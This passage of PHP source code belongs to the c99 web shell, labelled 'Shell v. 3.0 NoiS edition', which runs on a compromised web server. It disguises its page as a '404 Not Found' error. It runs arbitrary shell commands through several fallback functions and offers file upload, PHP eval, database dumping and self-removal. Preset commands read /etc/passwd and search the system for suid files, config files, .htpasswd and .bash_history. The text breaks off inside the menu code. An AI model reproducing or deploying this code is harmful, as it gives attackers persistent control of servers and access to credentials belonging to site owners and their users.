					p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
					p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
					p('<td>'.$table['Rows'].'</td>');
					p('<td>'.$table['Data_length'].'</td>');
					p('<td>'.$table['Create_time'].'</td>');
					p('<td>'.$table['Update_time'].'</td>');
					if ($highver) {
						p('<td>'.$table['Engine'].'</td>');
						p('<td>'.$table['Collation'].'</td>');
					}
					p('</tr>');
				}
				p('<tr class='.bg().'>');
				p('<td>&nbsp;</td>');
				p('<td>Total tables: '.$table_num.'</td>');
				p('<td>'.$table_rows.'</td>');
				p('<td>'.$data_size.'</td>');
				p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
				p('</tr>');

				p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><br/></td></tr>");
	
				formfoot();
				p("</table>");
				fr($query);
			}
		}
	}
	tbfoot();
	@mysql_close();
}

}
 else {

$win = strtolower(substr(PHP_OS,0,3)) == "win";

define("starttime",getmicrotime());

if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}

$_REQUEST = array_merge($_COOKIE,$_POST);

foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "3.0 NoiS edition";

if (empty($surl))

{

 $surl = $_SERVER['PHP_SELF'];

}

$surl = htmlspecialchars($surl);

$timelimit = 0;

$host_allow = array("*");

$login_txt = "Admin area";

$accessdeniedmess = "<a href=\"#\">Shell v.".$shver."</a>: access denied";

$gzipencode = TRUE;

$c99sh_sourcesurl = ""; 

$filestealth = TRUE;

$donated_html = "<center><b>Owned by root</b></center>";

$donated_act = array("");

$curdir = "./";

$tmpdir = "";

$tmpdir_log = "./";

$log_email = "";

$sort_default = "0a";

$sort_save = TRUE;

$ftypes  = array(
 "html"=>array("html","htm","shtml"),
 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess","tpl","jpq"),
 "exe"=>array("sh","install","bat","cmd"),
 "ini"=>array("ini","inf"),
 "code"=>array("php","phtml","php3","php4","php5","inc","tcl","h","c","cpp","py","cgi","pl"),
 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg","flv","swf"),
 "sdb"=>array("sdb"),
 "phpsess"=>array("sess"),
 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);


$exeftypes  = array(

 getenv("PHPRC")." -q %f%" => array("php","php3","php4","php5"),

 "perl %f%" => array("pl","cgi")

);

$regxp_highlight  = array(

  array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"),

  array("config.php",1) 

);

$safemode_diskettes = array("a");

$hexdump_lines = 8;

$hexdump_rows = 24;

$nixpwdperpage = 100;


if (!$win)

{  
  if ($d==''){$d2 =dirname( __FILE__ ).'/';} else {$d2=$d;}
  $cmdaliases = array(

  array("-----------------------------------------------------------", "ls -la"),
  array("cat /etc/passwd", "cat /etc/passwd"),
  array("cat /etc/named.conf", "cat /etc/named.conf"),
  array("ls -al /var/named/", "ls -al /var/named/"),
  array("du -hsx /this_path/", "du -hsx ".urldecode($d2)),
  array("tar cvpjf go.tar.bz2 /this_path/", "tar cvpjf go.tar.bz2 ".urldecode($d2)),
  array("Find Apache files", "find .. -group nobody -ls;find .. -group apache -ls;"),
  array("Find 0777 files", "find . -perm 0777 -ls;"),
  array("Compilation Shell", "cc -o a.so -fPIC -shared a.c"),
  array("show opened ports", "netstat -an | grep -i listen"),
  array("find all suid files", "find / -type f -perm -04000 -ls"),
  array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  array("find all sgid files", "find / -type f -perm -02000 -ls"),
  array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  array("find config.inc.php files", "find / -type f -name config.inc.php"),
  array("find config* files", "find / -type f -name \"config*\""),
  array("find config* files in current dir", "find . -type f -name \"config*\""),
  array("find all service.pwd files", "find / -type f -name service.pwd"),
  array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  array("find all .bash_history files", "find / -type f -name .bash_history"),
  array("find .bash_history files in current dir", "find . -type f -name .bash_history") 
 );

}

else

{

 $cmdaliases = array(

  array("-----------------------------------------------------------", "dir"),
  array("show opened ports", "netstat -an")

 );

}


$sess_cookie = "c99shvars";

$usefsbuff = TRUE;

$copy_unset = FALSE;

$quicklaunch = array(

 array("<b><hr>HOME</b>",$surl),
 array("<b><=</b>","#\" onclick=\"history.back(1)"),
 array("<b>=></b>","#\" onclick=\"history.go(1)"),
 array("<b>Upload</b>","#\" onclick=\"document.todo.act.value='upload';document.todo.d.value='%d';document.todo.submit();"),
 array("<b>Exec</b>","#\" onclick=\"document.todo.act.value='cmd';document.todo.d.value='%d';document.todo.submit();"), 
 array("<b>Search</b>","#\" onclick=\"document.todo.act.value='search';document.todo.d.value='%d';document.todo.submit();"),
 array("<b>Tools</b>","#\" onclick=\"document.todo.act.value='tools';document.todo.d.value='%d';document.todo.submit();"), 
 array("<b>SQL</b>","#\" onclick=\"showmod('sqlman');"), 
 array("<b>Mysql Dumper</b>","#\" onclick=\"showmod('bak');"),  
 array("<b>PHP-code</b>","#\" onclick=\"document.todo.act.value='eval';document.todo.d.value='%d';document.todo.submit();"), 
 array("<b>Remove</b>","#\" onclick=\"document.todo.act.value='selfremove';document.todo.submit();"),  
 array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) document.todo.act.value='logout';document.todo.submit();") 

);


if($_COOKIE['fsafem']!=''){
$quicklaunch[4]=array("<b>Exec[Safe Mod]</b>","#\" onclick=\"document.todo.act.value='cmdsafem';document.todo.d.value='%d';document.todo.submit();");
}

$highlight_background = "#c0c0c0";

$highlight_bg = "#FFFFFF";

$highlight_comment = "#6A6A6A";

$highlight_default = "#0000BB";

$highlight_html = "#1300FF";

$highlight_keyword = "#007700";

$highlight_string = "#000000";



@$f = $_REQUEST["f"];

@extract($_REQUEST["c99shcook"]);

$tmp = array();

foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}

$s = "!^(".implode("|",$tmp).")$!i";

if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"#\">Shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}


if (isset($_POST['act'])) $act  = $_POST['act'];

if (isset($_POST['d'])) $d    = urldecode($_POST['d']);

if (isset($_POST['sort'])) $sort = $_POST['sort'];

if (isset($_POST['f'])) $f    = $_POST['f'];

if (isset($_POST['ft'])) $ft   = $_POST['ft'];

if (isset($_POST['grep'])) $grep = $_POST['grep'];

if (isset($_POST['processes_sort'])) $processes_sort = $_POST['processes_sort'];

if (isset($_POST['pid'])) $pid  = $_POST['pid'];

if (isset($_POST['sig'])) $sig  = $_POST['sig'];

if (isset($_POST['base64'])) $base64  = $_POST['base64'];

if (isset($_POST['fullhexdump'])) $fullhexdump  = $_POST['fullhexdump'];

if (isset($_POST['c'])) $c  = $_POST['c'];

if (isset($_POST['white'])) $white  = $_POST['white'];

if (isset($_POST['nixpasswd'])) $nixpasswd  = $_POST['nixpasswd'];



$lastdir = realpath(".");

chdir($curdir);

$sess_data = unserialize($_COOKIE["$sess_cookie"]);

if (!is_array($sess_data)) {$sess_data = array();}

if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}

if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}



$disablefunc = @ini_get("disable_functions");

if (!empty($disablefunc))

{

 $disablefunc = str_replace(" ","",$disablefunc);

 $disablefunc = explode(",",$disablefunc);

}



if (!function_exists("c99_buff_prepare"))

{

function c99_buff_prepare()

{

 global $sess_data;

 global $act;

 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}

 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}

 $sess_data["copy"] = array_unique($sess_data["copy"]);

 $sess_data["cut"] = array_unique($sess_data["cut"]);

 sort($sess_data["copy"]);

 sort($sess_data["cut"]);

 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}

 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}

}

}

c99_buff_prepare();

if (!function_exists("c99_sess_put"))

{

function c99_sess_put($data)

{

 global $sess_cookie;

 global $sess_data;

 c99_buff_prepare();

 $sess_data = $data;

 $data = serialize($data);

 setcookie($sess_cookie,$data);

}

}

foreach (array("sort","sql_sort") as $v)

{

 if (!empty($_POST[$v])) {$$v = $_POST[$v];}

}

if ($sort_save)

{

 if (!empty($sort)) {setcookie("sort",$sort);}

 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}

}

if (!function_exists("str2mini"))

{

function str2mini($content,$len)

{

 if (strlen($content) > $len)

 {

  $len = ceil($len/2) - 2;

  return substr($content, 0,$len)."...".substr($content,-$len);

 }

 else {return $content;}

}

}

if (!function_exists("view_size"))

{

function view_size($size)

{

 if (!is_numeric($size)) {return FALSE;}

 else

 {

  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}

  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}

  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}

  else {$size = $size . " B";}

  return $size;

 }

}

}

if (!function_exists("fs_copy_dir"))

{

function fs_copy_dir($d,$t)

{

 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);

 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

 $h = opendir($d);

 while (($o = readdir($h)) !== FALSE)

 {

  if (($o != ".") and ($o != ".."))

  {

   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}

   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}

   if (!$ret) {return $ret;}

  }

 }

 closedir($h);

 return TRUE;

}

}

if (!function_exists("fs_copy_obj"))

{

function fs_copy_obj($d,$t)

{

 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);

 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);

 if (!is_dir(dirname($t))) {mkdir(dirname($t));}

 if (is_dir($d))

 {

  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}

  return fs_copy_dir($d,$t);

 }

 elseif (is_file($d)) {return copy($d,$t);}

 else {return FALSE;}

}

}

if (!function_exists("fs_move_dir"))

{

function fs_move_dir($d,$t)

{

 $h = opendir($d);

 if (!is_dir($t)) {mkdir($t);}

 while (($o = readdir($h)) !== FALSE)

 {

  if (($o != ".") and ($o != ".."))

  {

   $ret = TRUE;

   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}

   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}

   if (!$ret) {return $ret;}

  }

 }

 closedir($h);

 return TRUE;

}

}

if (!function_exists("fs_move_obj"))

{

function fs_move_obj($d,$t)

{

 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);

 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);

 if (is_dir($d))

 {

  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}

  return fs_move_dir($d,$t);

 }

 elseif (is_file($d))

 {

  if(copy($d,$t)) {return unlink($d);}

  else {unlink($t); return FALSE;}

 }

 else {return FALSE;}

}

}

if (!function_exists("fs_rmdir"))

{

function fs_rmdir($d)

{

 $h = opendir($d);

 while (($o = readdir($h)) !== FALSE)

 {

  if (($o != ".") and ($o != ".."))

  {

   if (!is_dir($d.$o)) {unlink($d.$o);}

   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}

  }

 }

 closedir($h);

 rmdir($d);

 return !is_dir($d);

}

}

if (!function_exists("fs_rmobj"))

{

function fs_rmobj($o)

{

 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);

 if (is_dir($o))

 {

  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}

  return fs_rmdir($o);

 }

 elseif (is_file($o)) {return unlink($o);}

 else {return FALSE;}

}

}
//*********
  function runExternal($cmd,&$code) {
        $descriptorspec = array(
            0 => array("pipe", "r"),  
            1 => array("pipe", "w"), 
            2 => array("pipe", "w") 
        );
       
        $pipes= array();
        $process = proc_open($cmd, $descriptorspec, $pipes);
       
        $output= "";
       
        if (!is_resource($process)) return false;

        fclose($pipes[0]);
       
        stream_set_blocking($pipes[1],false);
        stream_set_blocking($pipes[2],false);
       
        $todo= array($pipes[1],$pipes[2]);
       
        while( true ) {
            $read= array();
            if( !feof($pipes[1]) ) $read[]= $pipes[1];
            if( !feof($pipes[2]) ) $read[]= $pipes[2];
           
            if (!$read) break;
           
            $ready= stream_select($read, $write=NULL, $ex= NULL, 2);
           
            if ($ready === false) {
                break; 
            }
           
            foreach ($read as $r) {
                $s= fread($r,1024);
                $output.= $s;
            }
        }
       
        fclose($pipes[1]);
        fclose($pipes[2]);
       
        $code= proc_close($process);
       
        return $output;
    }
 
 //**********
if (!function_exists("myshellexec"))

{

function myshellexec($cmd)

{

 global $disablefunc;

 $result = "";

 if (!empty($cmd))

 {

  if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}

  elseif (($result = `$cmd`) !== FALSE) {}

  elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}

  elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  
  elseif (is_callable("shell_exec") and !in_array("shell_exec",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); shell_exec($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}

  elseif (is_resource($fp = popen($cmd,"r")))

  {

   $result = "";

   while(!feof($fp)) {$result .= fread($fp,1024);}

   pclose($fp);

  }

 }
  
 if ($result=='' and $_POST['cmdmod']=='ok'){
 
   $result= runExternal($cmd,$code);
   
 }

 return $result;

}

}

if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}

if (!function_exists("view_perms"))

{

function view_perms($mode)

{

 if (($mode & 0xC000) === 0xC000) {$type = "s";}

 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}

 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}

 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}

 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}

 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}

 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}

 else {$type = "?";}



 $owner["read"] = ($mode & 00400)?"r":"-";

 $owner["write"] = ($mode & 00200)?"w":"-";

 $owner["execute"] = ($mode & 00100)?"x":"-";

 $group["read"] = ($mode & 00040)?"r":"-";

 $group["write"] = ($mode & 00020)?"w":"-";

 $group["execute"] = ($mode & 00010)?"x":"-";

 $world["read"] = ($mode & 00004)?"r":"-";

 $world["write"] = ($mode & 00002)? "w":"-";

 $world["execute"] = ($mode & 00001)?"x":"-";



 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}

 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}

 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}



 return $type.join("",$owner).join("",$group).join("",$world);

}

}

if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}

if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}

if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}

if (!function_exists("parse_perms"))

{

function parse_perms($mode)

{

 if (($mode & 0xC000) === 0xC000) {$t = "s";}

 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}

 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}

 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}

 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}

 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}

 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}

 else {$t = "?";}

 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;

 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;

 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;

 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);

}

}

if (!function_exists("parsesort"))

{

function parsesort($sort)

{

 $one = intval($sort);

 $second = substr($sort,-1);

 if ($second != "d") {$second = "a";}

 return array($one,$second);

}

}

if (!function_exists("view_perms_color"))

{

function view_perms_color($o)

{

 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}

 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}

 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}

}

}

if (!function_exists("c99fsearch"))

{

function c99fsearch($d)

{

 global $found;

 global $found_d;

 global $found_f;

 global $search_i_f;

 global $search_i_d;

 global $a;

 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

 $h = opendir($d);

 while (($f = readdir($h)) !== FALSE)

 {

  if($f != "." && $f != "..")

  {

   $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));

   if (is_dir($d.$f))

   {

    $search_i_d++;

    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}

    if (!is_link($d.$f)) {c99fsearch($d.$f);}

   }

   else

   {

    $search_i_f++;

    if ($bool)

    {

     if (!empty($a["text"]))

     {

      $r = @file_get_contents($d.$f);

      if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}

      if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}

      if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}

      else {$bool = strpos(" ".$r,$a["text"],1);}

      if ($a["text_not"]) {$bool = !$bool;}

      if ($bool) {$found[] = $d.$f; $found_f++;}

     }

     else {$found[] = $d.$f; $found_f++;}

    }

   }

  }

 }

 closedir($h);

}

}

if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}

@ob_start();

@ob_implicit_flush(0);

function onphpshutdown()

{

 global $gzipencode,$ft;

 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))

 {

  $v = @ob_get_contents();

  @ob_end_clean();

  @ob_start("ob_gzHandler");

  echo $v;

  @ob_end_flush();

 }

}

function c99nulledoff()

{

 onphpshutdown();

 exit;

}

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");

header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");

header("Cache-Control: no-store, no-cache, must-revalidate");

header("Cache-Control: post-check=0, pre-check=0", FALSE);

header("Pragma: no-cache");

if (empty($tmpdir))

{

 $tmpdir = ini_get("upload_tmp_dir");

 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}

}

$tmpdir = realpath($tmpdir);

$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);

if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}

if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}

else {$tmpdir_logs = realpath($tmpdir_logs);}

if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")

{

 $safemode = TRUE;

 $hsafemode = "<font color=red>ON (secure)</font>";

}

else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}

$v = @ini_get("open_basedir");

if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}

else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}

$sort = htmlspecialchars($sort);

if (empty($sort)) {$sort = $sort_default;}

$sort[1] = strtolower($sort[1]);

$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");

if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}

$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"#\" onclick=\"document.todo.act.value='phpinfo';document.todo.submit();\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));

@ini_set("highlight.bg",$highlight_bg); 

@ini_set("highlight.comment",$highlight_comment); 

@ini_set("highlight.default",$highlight_default);

@ini_set("highlight.html",$highlight_html);

@ini_set("highlight.keyword",$highlight_keyword);

@ini_set("highlight.string",$highlight_string);

if (!is_array($actbox)) {$actbox = array();}

$dspact = $act = htmlspecialchars($act);

$disp_fullpath = $ls_arr = $notls = null;

$ud = urlencode($d);

?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title>404 Not Found</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><scrIPT LANGUAGE="Javascript">function openEx(url){  w = window.open(); w.document.write('<meta http-equiv="refresh" content="0;url='+url+'">'); w.document.close(); return false;} function showmod(id){ dd=window.open('',id,'height=400,width=750,resizable=1,scrollbars=1');document.go.scr.value=id;document.go.target=id; document.go.submit();dd.focus(); setTimeout("document.go.scr.value='go';document.go.target='_self'",500); }</scrIPT><form method=post name="go"><input type=hidden name="scr" value="go"><input type="hidden" name="sview" value="go" /></form><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name='todo' method='POST'><input name='act' type='hidden' value=''><input name='grep' type='hidden' value=''><input name='fullhexdump' type='hidden' value=''><input name='base64' type='hidden' value=''><input name='nixpasswd' type='hidden' value=''><input name='pid' type='hidden' value=''><input name='c' type='hidden' value=''><input name='white' type='hidden' value=''><input name='sig' type='hidden' value=''><input name='processes_sort' type='hidden' value=''><input name='d' type='hidden' value=''><input name='sort' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''></form><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Server IP:&nbsp;<?php echo $_SERVER["SERVER_ADDR"]; ?></b>&nbsp;</p><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php

$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);

if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}

$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);

if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

$d = str_replace("\\\\","\\",$d);

$dispd = htmlspecialchars($d);

$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));

$i = 0;

foreach($pd as $b)

{

 $t = "";

 $j = 0;

 foreach ($e as $r)

 {

  $t.= $r.DIRECTORY_SEPARATOR;

  if ($j == $i) {break;}

  $j++;

 }

 echo "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($t)."';document.todo.sort.value='".$sort."';document.todo.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";

 $i++;

}

echo "&nbsp;&nbsp;&nbsp;";

if (is_writable($d))

{

 $wd = TRUE;

 $wdt = "<font color=green>[ ok ]</font>";

 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";

}

else

{

 $wd = FALSE;

 $wdt = "<font color=red>[ Read-Only ]</font>";

 echo "<b>".view_perms_color($d)."</b>";

}

if (is_callable("disk_free_space"))

{

 $free = disk_free_space($d);

 $total = disk_total_space($d);

 if ($free === FALSE) {$free = 0;}

 if ($total === FALSE) {$total = 0;}

 if ($free < 0) {$free = 0;}

 if ($total < 0) {$total = 0;}

 $used = $total-$free;

 $free_percent = round(100/($total/$free),2);

 echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";

}

echo "<br>";

$letters = "";

if ($win)

{

 $v = explode("\\",$d);

 $v = $v[0];

 foreach (range("a","z") as $letter)

 {

  $bool = $isdiskette = in_array($letter,$safemode_diskettes);

  if (!$bool) {$bool = is_dir($letter.":\\");}

  if ($bool)

  {

   $letters .= "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($letter.":\\")."';document.todo.submit();\">[ ";

   if ($letter.":" != $v) {$letters .= $letter;}

   else {$letters .= "<font color=green>".$letter."</font>";}

   $letters .= " ]</a> ";

  }

 }

 if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}

}

if (count($quicklaunch) > 0)

{

 foreach($quicklaunch as $item)

 {

